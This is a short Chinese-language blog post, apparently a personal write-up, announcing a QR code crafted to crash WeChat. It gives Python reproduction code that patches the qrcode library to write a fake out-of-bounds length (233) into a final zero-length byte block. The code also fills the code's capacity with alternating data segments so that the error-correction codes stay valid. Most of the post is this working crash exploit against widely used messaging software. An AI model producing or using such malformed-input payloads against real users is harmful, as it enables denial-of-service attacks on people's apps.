Lancern's Treasure Chest
构造成功了,成功让微信崩溃了!几个要点: 1. 数据需要绝对无填充,不可以出现 padding pattern 2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
附上复现用的代码:

import qrcode
from qrcode.util import *

def hack_put(self, num, length):
    if num == 0:
        num = 233 # make a fake length
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)

qrcode.util.BitBuffer.put = hack_put

qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)

num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)

# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)

qr.make_image()


理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了()
 
 
Back to Top